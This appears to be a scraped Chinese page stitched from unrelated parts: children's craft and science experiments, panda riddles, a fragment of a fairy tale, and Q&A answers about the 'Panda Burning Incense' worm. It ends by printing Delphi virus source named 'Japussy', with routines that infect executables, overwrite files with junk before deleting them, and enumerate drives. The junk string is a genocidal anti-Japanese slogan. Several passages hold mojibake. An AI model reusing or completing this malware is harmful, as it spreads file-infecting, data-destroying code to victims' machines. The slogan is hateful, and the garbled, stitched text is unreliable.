用绳编熊猫吊坠绳(吊坠绳手工编绳)

科学小发明

手工制作 科学类 要求加精华

绒线娃娃

五颜六色的绒线娃娃美丽可爱,因为是你的巧手和爱心给了她们美丽的形象,她们也会是你最好的朋友。

1.材料和工具:各色绒线、棉花或弹力絮、绢花花瓣、各色即时贴、纽扣、绸带、双面胶、剪刀。

2.取皇�尴撸�硭澈笤谥屑湓�桓�撸�飧�咄�币彩切�蚁摺?BR 3.绒线束在扎紧处对折,两边慢慢展开,把一小团棉花包在里面。

4.确认棉花完全包在绒线里面后,在下部用丝带扎紧(用双面胶粘丝带),娃娃的脑袋和身体就分出来了。

5.取一小段绒线,两端扎紧,这是娃娃的手。

6.把绒线娃娃的身体从中间分开,放进娃娃的手。

7.将身体再度合上后,用丝带扎紧手的下方。

8.用绒线编一根小辫子,当然,你喜欢她是什么样的发型和颜色,她就可以是什么样子的。

9.用娃娃头顶中间的悬挂线把辫子扎好。

10.把绢花花瓣和一粒纽扣依次穿过悬挂线,覆在娃娃头顶上,那可是她的帽子哦。

11.在即时贴上剪出眼睛和嘴巴,粘在娃娃的脸上。

12.这就是做好的绒线娃娃,她们可挂在你的床头或台灯、书包上天天陪伴你。

测测今天下了多少雨

又下雨了,望着窗外的雨景,你是否突然很想知道有多少雨水落在了农田、小河、街道上?平时,收听天气预报时,常常会听到:“据某气象站测量,今天的降雨量为多少毫米……那么,什么是降雨量?降雨量是如何测得的呢?

从天空降落到地面上的雨水,未经蒸发、渗透、流失而在水平面上积聚的水层深度,我们称为降雨量(以毫米为单位),它可直观地表示降雨的多少。目前,气象台(站)测定降雨量的常用仪器是雨量筒和量杯。雨量筒的直径一般为20厘米,内装一个漏斗和一个瓶子。量杯的直径为4厘米,将雨量筒中的雨水倒在量杯中,根据杯上的刻度就可知道当天的降雨量了。

如果你手边没有雨量筒,那也不用担心,利用一些常见的器皿,你完全可以自制一个,效果也相当不错。取一个口径为20厘米的瓷碗,在其底部钻一个比玉米粒稍大的小洞,然后将瓷碗放在一个无盖的罐子上(罐内有一玻璃瓶,瓶口与碗底的小洞相接)。这样,简易雨量筒就做好了。简易雨量筒做好后,便可将它放在离地70厘米的高处承接雨水。雨停后,用秤称出瓶中的水重,30克水相当于1毫米的降雨量。

从天而降的雨水,是陆地上的水的一个很重要来源,如未受污染的话,它的水质几乎可与蒸馏水相媲美。现在有些地方已安装了雨水收集器,收集起来的雨水稍加处理后,即可用来浇灌绿地、清洗车辆、冲刷马路等。对如何充分利用“天落水”,你是否也有自己的高招呢?

会“吞吐”火焰的喇叭

取一只易拉罐,把开罐的一端全部剪掉,在离罐底约2cm处开一个小孔。再取一张硬质纸(或马粪纸)卷成喇叭形,将喇叭的吹气口塞进易拉罐的小孔内,相接处用百得胶粘牢固定,不能漏气,因为这关系到实验的成败(易拉罐上的小孔边用刀刮几下,使其表面粗糙,容易胶牢)。BRBR 实验(一):点燃蜡烛,将火焰靠近喇叭口,把易拉罐快速按进盛有水的容器中,可看到蜡烛的火焰向外偏,好像火焰从喇叭里吐出来似的(图一)。BRBR 实验(二):将易拉罐慢慢按入水中至一定深度后,迅速将易拉罐向上提拉,会看到喇叭把蜡烛的火焰吞进去的榫埃ㄍ二)?BRBR 其物理原理是:一定量的气体,在温度不变的条件下,其压强与体积成反比。快速向下按时,罐内气体被压缩,压强增大,大于外界气压时,罐内的气体会从喇叭里吹出,火焰向外偏;反之快速向上提拉,内气压小于大气压,蜡烛火焰被吞进喇叭。

七星瓢虫

原材料:装中成药的球形药盒;红、黑两色的水彩笔或颜料均可;大头针。

1.将药盒洗净,去掉药味,晾干,取半个待用;

2.用红色的水彩笔或红色颜料、涂料将半个药盒涂匀;

3.将涂好颜色的半个药盒放在风扇下吹干。用黑色水彩笔或黑色颜料在红的底色上画点,并在一处的边缘画一个半圆形作为头部(具体画法见图),以这个半圆为起点,在药盒的正中间画一条稍粗一点的黑线;

4.将2枚大头针插在头部两侧,作为瓢虫的头须。这样,一只可爱的七星瓢虫就做好了。

能向上滚动的双锥体

1.材料:剪成圆形的厚纸(直径以15厘米以内为宜)、剪刀、胶水、一双筷子或两根长一些的细棍子、一本大书、一本小书。

2.将圆形厚纸对半剪开,以圆心为顶点卷成两个圆锥体,用胶水粘牢。

3.将两个圆锥体底部相接粘在一起成为一个双锥体。

4.把一本大书和一本小书相隔一定距离背朝上放在桌上,在书上架两根筷子或细棍子,让较高的一头比较低的一头略为撇开一些。这时你把双锥体放在筷子靠近小书的一端,你会惊奇地发现它会沿着轨道向上坡滚动!

这其中的原理是:

双锥体的重心在两端的连线和中间圆心的交点上,由于筷子是撇开放的,如果你仔细观察双锥体的两头,它们其实是向下滚动的,表面上看来双锥体的终点比起点高,但它的重心始终在往下走。记住,除非有外力作用,重力会一直让物体向地心运动,可不要被迷惑哦。

称空气的天平

制作材料:纸、胶水、蜡烛、细线.

制作步骤:

1.先裁好2张长34厘米,宽15厘米的纸条,每张都照图分成五部分,其中右边窄的部分2厘米宽,其余四等分。

2.按照分线将纸条折成一个方桶形,2厘米宽的窄部作为粘合条。

4.将方桶形上部两边的中端按进,粘合,中间再粘进一根20厘米长的细线,下段按折线仍旧撑成方桶形。这就是天平的称袋。

5.裁一条25厘米长的纸条,卷成细棍,这是天平的称杆。

6.将两个称袋口向下系在秤秆的两边,称杆的中间再系上细线,仔细调整好平衡。

7.把燃着的蜡烛放在一个称袋的下面(当心不要把称袋烧着),称袋立刻开始升高。而另一个称袋则开始下降。这说明暖空气要比冷空气轻!为什么呢?因为热空气与冷空气相比,它的相对密度较小,所以就比冷空气轻,热气球就是根据这样的原理制造出来的。

会跑的“小猪”

课余时间,自己动手做个“会跑的小猪”,可有意思了。

材料L:硬纸板、黄泥、橡皮筋、线绳、颜色、浆糊、剪刀。

方法:①照图1样,在硬纸板上画好图形,剪下,在“0”处打孔,在虚线处折叠。

②用黄泥(最好是橡皮泥)做个“泥轮”。

③在“泥轮”的左右两个孔内穿插入一根单股橡皮筋,并在两边打结固定橡上筋。

④在“泥轮”上固定一条线绳,把线绳穿绕在轮子的中间若干圈,把线头从中间的孔内穿出。

玩时,先从上边提起线绳,此时,猪的重量会把轮拉得向后旋转,而“泥轮”两侧的橡皮筋则反向旋紧;然后,把硬纸板做的小猪放到桌子上,并放下线绳。借助橡皮筋的动力,小轮会向前旋转,“小猪”则自动地向前跑步了。

自动旋转的纸

准备一小张长方形的薄纸片(3厘米长、1厘米宽),一根长缝衣针。

将纸按照它的横直两条中线各对折一次。再把纸展开,将两条折痕的交点放到竖着的针尖上(针先插在软木上固定,针尖朝上),让针尖恰好顶着这一点,并使纸片在针尖上保持平衡。将两手掌相互摩擦,提高手掌心的温度,然后将手掌慢慢放到纸片旁(如下图所示)。

注意,手要轻轻移过去,不要让手移动时的风将纸片吹落,此时,可见纸片旋转起来。起初较慢,渐渐快起来。如果将手悄悄拿开,纸片立刻停止旋转;把手移近,纸片又旋转起来。

是什么神秘的力量使纸片旋转的呢?

原来,由于人手各部分的温度不同,手指端的温度总比掌心低;因此,接近掌心的地方,就会造成比较强的上升气流,它对纸片所加的力也比手指端大,该力能使纸片旋转。

海绵剪塑小鸡

利用海绵的零星角料,根据它的形状,结合动物的外型性,开动脑筋,采用剪、贴、染的方法,就能创作出一件小巧玲珑的小动物作品。下面以制作小雏鸡为例:

一、制作材料

海绵一块,水彩颜料,小珠子两颗,百得胶。

二、制作方法

1.把海绵剪割成长方体,在长方体上,画出小鸡的身、头、脚(脚可以大一点)、嘴大体轮廓。(图一)。

2.看准所画廓(留有一定余地),大胆地剪出它的侧面形状(图二)。

3.在小鸡的前后方向,修剪出的头、身、脚形态,并剪出鸡翅(剪得不要太深)。在修剪时,要注意保持鸡能立直(图三)

4.从整体形态出发,对局部进行细致的剪修,清除大的剪刀口。

5.根据自己的喜爱,可整体染色或局部上色。待干后,粘贴上装饰珠子作为眼睛(图四)。如果有几块不同形状的海绵,可依照上面的方法,设计几种不同姿态的雏鸡。一群活泼可爱的小鸡会令你爱不释手

神奇的纸桥

1.实验材料:两个杯子、一些卡片纸、一个重物(比如肥皂)、裁纸刀、固体胶。

2.将两个杯子分开放在两边,上面平放一张卡片纸,这是一座简易纸桥。

3.试一试,看它能承受多大的重量?结果,刚放上重物就垮了。

4.将这张纸以1厘米为间隔折叠起来成瓦楞形,新的桥面完成了。

5.重新搭好纸桥,看,这回重物放上去稳稳当当了。

6.将卡片纸裁成许多细纸条,分别卷成圆柱体。

7.把这些圆柱体并排粘在一起,你看到的是另一种桥面。

8.这样的纸桥也非常坚固,有很大的承重能力。

实验原理:一张平面的纸很薄,小受力厚度导致小承受力。而把纸折叠成瓦楞形或卷成圆柱体后,受力厚度大大增加,承受力也就大得多。在桥梁和建筑等受力构造中,经常用到这样的结构,又轻巧又牢固,也比实心的构造节约了很多材料。想一想,还有什么结构,也能达到这样的效果?

鸡蛋喷气船

1.实验材料:鸡蛋、卡纸、粗铁丝、蜡烛头、吸管、双面胶、剪刀、钳子。

2.裁一张长25厘米,宽15厘米的卡纸,照图样画上折叠线,它将被做成船身。

3.按折叠线将船身折起。

4.在船的两头多出的卡纸上粘双面胶,向内折进,粘好。

5.剪一个船舵�

6.在船尾中部剪一条竖缝,插上船舵,在船的中部穿两根粗铁丝,间隔3厘米,铁丝中部略弯成弧形。

7.在鸡蛋的一头扎一个小洞,另一头并排扎两个小洞,从一个小洞口往鸡蛋里面吹气,让鸡蛋里面的东西从另一头流出。

8.将吸管剪成4厘米长的两根(喷气管),插在鸡蛋一头的两个洞内,深度为1厘米左右,然后用蜡封好。

9.从鸡蛋另一头灌入水(注意水位应在喷气管以下)后,用双面胶将口子封住,这就是一个小锅炉。

10.现在再做炉子!在船底(2根铁丝中间)放上蜡烛头,并点燃,蜡烛下面可以垫一个瓶盖。

11.把鸡蛋锅炉放在粗铁丝上,喷气管水平向后。过一会儿,水便沸腾了,一股蒸气从喷气管喷出来,小船在水中前进了!要是把它的舵偏转一定角度,小船就会在水里起劲地兜圈子。

实验原理:水沸腾后不断产生的蒸气只能从喷气管向后排出,于是产生一种向后作用的力,而这种力对于小船有一种向前的反作用力,于是小船就向前开了。这符合牛顿第三定律,每一个作用力,都有一个相等的反作用力。

乒乓娃娃

1.让我们再来做一个可爱的娃娃,她也是用我们身边的那些废旧小物品制成的,只要想像力加上你的小巧手,乒乓娃娃就是你的最爱。

材料和工具:浴球、各色卡纸、乒乓球、绒线、绒球、绒条、可以做眼睛的细小物品、双面胶、剪刀。

2.在乒乓球中间剪一个直径1.5厘米的洞。

3.用卡纸剪一块上端宽5.5厘米,下端宽10厘米,长11厘米的梯形,在一条斜边上贴双面胶,和另一条斜边粘合,形成柱体,最后用剪刀把上下端剪平,这就是娃娃的身体。

4.在浴球上剪一小片尼龙网,包在柱体上后用双面胶粘住。

5.把柱体上端插入乒乓球上的洞里,娃娃的脑袋就和身体连在一起了。

6.剪一条10厘米长的绒条,用双面胶粘在身体的背后,再弯过来做成娃娃的手。

7.用绒线编一条小辫子。

8.用双面胶把辫子粘在乒乓娃娃的脑袋上,在柱体底端粘上两个绒球做脚,在乒乓脸上粘上眼睛和嘴巴。

9.剪一条相当于乒乓球周长的卡纸条,用双面胶粘在乒乓娃娃的脑袋上,作为帽子,并用手指把上端捏扁。

10.在帽子的中部和顶端分别粘一条和一段双面胶,把彩色绒球一个个粘上去,作为帽子的饰物,如果你愿意的话,还可以用绒布给她剪一个小领结粘在脖子上。你看,乒乓娃娃在对你笑呢。

贺岁小挂件

过年了,同学们大概都收到很多压岁钱吧,你有没有想过装压岁钱的贺岁包也能变成一件美丽喜庆的小挂件呢?

1.材料和工具:贺岁包12个、中国结1个、丝线(细绳)一根、胶带纸,双面胶。

2.先将每一个贺岁包对折,然后,再将四角折起至中间折痕处。

3.在每个折角底部贴上双面胶。

4.圈起丝线并打个结,胶带纸的一头穿过丝线,并粘住丝线,另一头粘在一个贺岁包的里侧(紧靠折痕处)。这样,悬挂丝线就固定好了,注意不要露出胶带纸。

5.把4个粘有丝线的贺岁包,折角对折角粘在一起,这是挂件的顶部。

6.另取一个折好的贺岁包,像粘悬挂丝线一样把中国结粘在里侧。再把包括它在内的4个贺岁包,折角对折角粘在一起,这是挂件的底部。

7.现在挂件的顶部和底部各还有8个折角没有粘,那么就把剩下的四个贺岁包也折角对折角粘在它们的中间吧。

8.底部和顶部通过四个贺岁包连接后,挂件就完成了,好看吗?

会吼叫的小盒子

一、实验材料:一个纸(木或铁)盒、一支铅笔、一段绳子、一块松香、彩笔、胶水、白纸。

二、把绳子拴在铅笔的中间。

三、用松香擦绳子,就像擦乐器的弓弦一样,使它变涩。

四、在盒子的一边开一鲂】祝���哟┕�】祝�Ρ柿粼诤凶拥睦锩妗?BR 五、在盒子外面包上白纸,用胶水粘好。

六、在盒子上画上狮子或者其他拥有大嗓门的家伙,尾部要刚好和绳子的出口对齐。

七、用一只手握住盒子,另一只手的食指和拇指去捋绳子,呀,你听到了狮子的吼叫声……实验原理:

绳子的摩擦声传给盒子后,其四壁都会产生震动并发出响声。用不同形状,不同材料的盒子来做这个实验,发出的声音都会不一样,有时响声可高得令人惊骇。弦乐器的发声就是利用了这个原理,例如小提琴、大提琴等。

橡皮筋古筝

1.材料和工具:空木盒或硬纸盒一个、三合板或结实些的硬纸板一块、桷皮筋若干、剪刀。

2.把三合板或硬纸板剪成直角三角形,斜边上每隔1至2厘米剪一个小缺口。

3.把剪好的直角三角形粘在空木盒中间,把橡皮筋拉长套在盒子和斜边缺口上。

4.拨动橡皮筋,试试看,你能否弹奏出1-2-3-4-5-6-7……调整橡皮筋的松紧即可调整音阶。

吉祥挂件

新学期开始了,同学们又快乐地相聚在一起。在课余时间里,试着做几个小挂件,留给自己,或送给老师和同学,寄托一份真诚的心愿。

1.材料和工具:金色纸(也可用其他彩色纸代替)、中国结、KT吹塑板(也可用彩色卡纸代替)、细木条、细线、双面胶、裁纸刀、剪刀。

潜望镜

同学们,你若能拥有一个潜望镜,就能很清楚地看到远处的东西,比如被高个子挡住还可以像潜水艇能在水下观察海面上的情形一样。很有趣是吧,现在就让我们来做一个。

1.先准备的制作材料:厚卡纸、两面10×7.5厘米的小镜子、剪刀、双面胶、三角尺、小刀、铅笔。

2.将厚卡红裁成31×40厘米大小,按图所示在卡纸上面画线,四条平行线是隔7.5厘米,左边打“×”的正方形为7.5×7.5厘米大小,右下角的正方形也是同样大小,中间画一个4厘米直径的圆。

3.将打“×”的正方形和右下角的圆形剪去,将四条平行线分别向内折,在最边上1厘米的窄边上贴上双面胶,将卡纸粘成长柱体,刚才剪去的正方形和圆形成了两个方向相反的小窗口。

4.取出小镜子里的玻璃,在四边贴上双面胶。

5.将两块玻璃分别和不窗口成45度角粘在长柱体内部,注意粘好后两块玻璃的位置应该是平行的。注意,窗口和柱体内部间不应被堵住。

6.将剪下来的正方形用双面胶粘在长柱体的顶部,小潜望镜就做好了,你能用它看到很多意想不到的东西。实验原理,由于光线两次被镜面反射,同时在潜望镜镜身(长柱体)中得到传输,所以你的潜望镜身做得有多长,你的视线就能延伸多长。

用“隐形”墨水写字

在冒险小说中,你时常可以读到用“隐形”墨水写的秘密信件或藏宝图……书中的主人公如何历经艰险去揭密。今天我们来学习如何写这种绝密信件……

1.普通的白纸、钢笔、柠檬。

2.将一个柠檬切成两半,这就是你的“隐形”墨水。

3.把钢笔用力按进柠檬果肉里,使笔尖侵透柠檬汁。但不要太多,否则会滴下来。

4.用这种特殊墨水在纸上写你的“绝密信”。写字时要用些力,让笔画粗些。用粗笔尖写出的字效果最好。

5.柠檬汁很快干了,你写的字就什么也看不见了。

6.用打火机慢慢烘烤写过字的纸。一定要小心,不要把纸烧着,否则你写的就永远不见了!在加热过程中,看不见的字迹逐渐变成棕色字显现出来,这封信就可以读了!

小电话

1.实验材料和工具:纸杯(或空罐头盒)2只、一段长绳、彩色纸、剪刀、双面胶、能够当眼睛的小圆珠。

2.小电话的两个话筒都是可爱的卡通小伙伴,我们先来让它们活起来。首先用绿色纸剪一只小青蛙的“零部件”———前肢、后腿、眼睛等。

3.把这些零部件粘到一只纸杯上使其成为一只小青蛙。

4.你还可以用这个办法做一只小狗或其它什么你喜欢的小动物,粘贴到另一只纸杯上。

5.在两个纸杯(现在已变成了卡通话筒)的杯底正中央各打一个小孔。

6.将一根长绳(长度需在10米以上)的两端分别穿入杯底的小孔中,然后打个大结。

7.小电话做成后,把小电话的一个话筒放到耳边,然后请你的朋友拿着另一个话筒,站到距你10米远的地方(如果绳子的长度在10米以上的,那就要站到距你更远一些的地方。即:绳子的长度,就是两者之间的间距),对着话筒唱歌或说话。绳子要拉紧,而且不能接触到别的东西。

8.你和你的朋友虽然相隔10米远,但你也能清楚地听到他的声音。实验原理:你的朋友唱歌、说话的声音,会使纸杯(话筒)的杯底振动,振动沿绳子传导到你耳边的纸杯,又引起振动,接着又引起旁边空气的振动,于是,你就能清楚地听到你朋友的声音。(这比你们相隔同样距离用同样音量直接说话要清楚得多,因为声音在固体中传播的效果要好于在空气中传播。)

听话和不听话的鸡蛋

一、实验材料:几个鸡蛋、一些沙子、蜡烛、记号笔或水彩笔、彩色纸。

二、取两个鸡蛋,分别在小的一头戳个洞,倒空里面的蛋青蛋黄并将空蛋壳晒干。

三、在空蛋壳的里面分别装上约占总体积1/4~1/3的沙子。

四、拿出其中一个装好沙子的蛋壳,你会为这个鸡蛋的听话而惊奇。你把这个鸡蛋摆成什么姿势它就保持什么姿势,看,它可以像个杂技演员一样稳稳地站在小药瓶口上。你还可以让它在各种斜面上保持平衡,但表面不能太滑。如果把上面的口子封住,它还能小头朝下倒立。但是为了让它保持住你摆好的姿势,你最好把它摆好后轻轻敲几下,让里面的沙子处在水平状态。

五、拿起另一个装好沙子的蛋壳,让其直立并轻轻敲几下让沙子处在水平状态,点燃蜡烛让蜡油滴在沙子上以固定沙子的位置。

六、这就做成了一个不听话的鸡蛋。不管你把它摆成什么姿势,它总要回到自己原来的姿势。如果你用彩色纸给它做顶小帽子,再画上一张可爱的脸谱,它就成了个有趣的不倒翁。实验原理:鸡蛋原来的重心在中间,你就很难让它“听话”或“不听话”。装上沙子后,鸡蛋的重心就在沙子上了。在沙子没有被固定前,随着鸡蛋姿势的改变,沙子即鸡蛋的重心始终位于该姿势的鸡蛋的下部,鸡蛋下重上轻即保持了该姿势的平衡。而当沙子被固定于直立状态的鸡蛋的下部,同样由于重心的原理使其成了不倒翁。

蜡烛上的蛇形风车

一、制作材料:大头针、空胶卷盒、蜡烛、细塑料吸管、铅笔、卡纸、剪刀。

二、在卡纸上画螺旋线,末端画成一个蛇的头形。

三、根据图形,沿线剪开,须在中间戳一个小孔,要刚好能穿过一根细塑料吸管,这就是蛇形风车。

四、现在开始做脚架。首先在铅笔的橡皮头上插一个大头针,然后剪一小截细塑料吸管并把一头封死,套在大头针上成为套帽。

五、在空胶卷盒的顶部开一个圆孔,垂直插入铅笔。

六、蛇形风车中间的小孔穿过套帽,风车就完成了。

七、在风车的下方点燃蜡烛,你会看到这条蛇开始转动。如果把风车放到火炉或暖气上方任何地方,也有同样的效果。为什么会出现这样的现象呢?因为暖空气比冷空气轻,上升暖空气可推动风车转动。日常生活中,房间里,上升的暖空气一直上升,沿天花板流到窗口,在窗口处受到冷却又下降到地板上,遇热又上升……滑翔机没有发动机,但时常有一种叫做热障(上升暖气流)的温暖空气上升,它可使滑翔机上升。

面具的制作方法

有谁知道一部动画。内容记得不是很清楚。有四五年了吧。就是一只熊猫,头后面扎了一个辫子,辫子上的那个

金牌熊猫

天真活泼的熊猫少年,爱管闲事,热心助人,看到有人碰到困难,会立刻冲过去帮忙,有用不完的精力,十分好动。常被同伴视为麻烦制造机,但因天性开朗,毫无心机,大家还是很喜欢和他在一起。如果头上发环松开,会进入暴走的状态,失去理智,并使出恐怖怪力破坏周围的一切。 擅长:全部,尤其是足球。

用水杯,钥匙,熊猫编一个儿童童话故事

一只蝴蝶想要找一个恋人。自然,他想要在群花中找到一位可爱的小恋人。因此他就把她们都看了一遍。

每朵花都是安静地、端庄地坐在梗子上,正如一个姑娘在没有订婚时那样坐着。可是她们的数目非常多,选择很不容易。蝴蝶不愿意招来麻烦,因此就飞到雏菊那儿去。法国人把这种小花叫做“玛加丽特”(注:原文是“Margreth”,这个字是“雏菊”的意思;欧美有许多女子用这个字作为名字。)。他们知道,她能作出预言。她是这样作的:情人们把她的花瓣一起一起地摘下来,每摘一起情人就问一个关于他们恋人的事情:“热情吗?——痛苦吗?——非常爱我吗?只爱一点吗?——完全不爱吗?”以及诸如此类的问题。每个人可以用自己的语言问。蝴蝶也来问了;但是他不摘下花瓣,却吻起每片花瓣来。因为他认为只有善意才能得到最好的回答。

“亲爱的‘玛加丽特’雏菊!”他说,“你是一切花中最聪明的女人。你会作出预言!我请求你告诉我,我应该娶这一位呢,还是娶那一位?我到底会得到哪一位呢?如果我知道的话,就可以直接向她飞去,向她求婚。”

可是“玛加丽特”不回答他。她很生气,因为她还不过是一个少女,而他却已把她称为“女人”;这究竟有一个分别呀。他问了第二次,第三次。当他从她得不到半个字的回答的时候,就不再愿意问了。他飞走了,并且立刻开始他的求婚活动。

这正是初春的时候,番红花和雪形花正在盛开。

“她们非常好看,”蝴蝶说,“简直是一群情窦初开的可爱的小姑娘,但是太不懂世事。”他像所有的年轻小伙子一样,要寻找年纪较大一点的女子。

于是他就飞到秋牡丹那儿去。照他的胃口说来,这些姑娘未免苦味太浓了一点。紫罗兰有点太热情;郁金香太华丽;黄水仙太平民化;菩提树花太小,此外她们的亲戚也太多;苹果树花看起来倒很像玫瑰,但是她们今天开了,明天就谢了——只要风一吹就落下来了。他觉得跟她们结婚是不会长久的。豌豆花最逗人爱:她有红有白,既娴雅,又柔嫩。她是家庭观念很强的妇女,外表既漂亮,在厨房里也很能干。当他正打算向她求婚的时候,看到这花儿的近旁有一个豆荚——豆荚的尖端上挂着一朵枯萎了的花。

“这是谁?”他问。

“这是我的姐姐,”豌豆花说

“乖乖!那么你将来也会像她一样了

用绳编熊猫吊坠绳(吊坠绳手工编绳)

熊猫是烧香是用C语言编的?

用delphi,其实没什么难得,只要熟悉了他的语法和函数,任何人都能编写。

PS:编写病毒其实就是编写一个程序,没什么难度,只不过有高有低,这就要看个人的悟性了,跟使用的程序没什么太大分别,像VB/VC/ASM/MSAM/.NET/C++,甚至VF和WORD/EXCEL都可以,更简单的不需要任何工具,单独使用批处理命令或者记事本就可以。

编写危害程度越高的病毒,对作者而言,要求的技术层次和范围越高,像对硬件底层(甚至到芯片级的)、网络底层、协议、软件底层等等,范围十分广阔。

个人而言,这次爆发的熊猫病毒的危害程度而言远远没有当年的CIH病毒来的恐怖、影响的范围大、造成的损失大,就病毒个体而言,也没有CIH编写的巧妙。把他们两者相比有点关公战秦琼的感觉,但就两个病毒的作者水平而言CIH高于熊猫。

PS2:CIH病毒,用ASM编写(汇编语言),损坏主板BIOS数据,1999年在世界范围内爆发,由于当时的技术所限,基本上中了,主板就可以扔了(当年的城里兄弟,还记得开机热插拔CMOS芯片吗?反正当时我是6块,成功率0,失败率100%,还有那些用读写器刷CMOS的JS,挣了多少啊),可以想想损失有多大!“其实分析其源代码,这个病毒编写并不怎么复杂,只不过陈盈豪的“悟性”比较高而已”——这是我当年学习的时候,我们班对班主任的回答,这大概也是“天才”与普通人的分别啊。

大熊猫请你用它做谜底编个谜语

谜题:西边来了一个怪,戴副眼镜好气派,拿着竹笛不去吹,张着嘴吃起来。 (打一动物)

谜底:大熊猫

谜题:黑眼圈,黑耳朵,黑色绒衣,白背心,胖胖乎乎真可爱,叫猫叫熊都不对。 (打一动物)

谜底:大熊猫

谜题:顶着黑眼圈,浑身胖嘟嘟,以前好吃肉,现在爱吃竹。 (打一动物)

谜底:大熊猫

熊猫烧香是用什么编成的?

我有看到过,反正不是c++ vb 编的:

熊猫烧香的病毒源码:

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 –8086 Japussy.exe

}

IconSize = E8; //PE文件主图标的大小–744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = 444444; //感染标记

//垃圾码,以备写入

Catchword = ‘If a race need to be killed out, it must be Yamato. ‘ +

‘If a country need to be destroyed, it must be Japan! ‘ +

‘*** W32.Japussy.Worm.A ***’;

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stDCall; external ‘Kernel32.dll’; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size – HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用,退出

if CompareText(FileName, ‘JAPUSSY.EXE’) = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

try

for i := 0 to 8 do //检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节),存入流

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize – IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := 444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + ‘:/’;

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

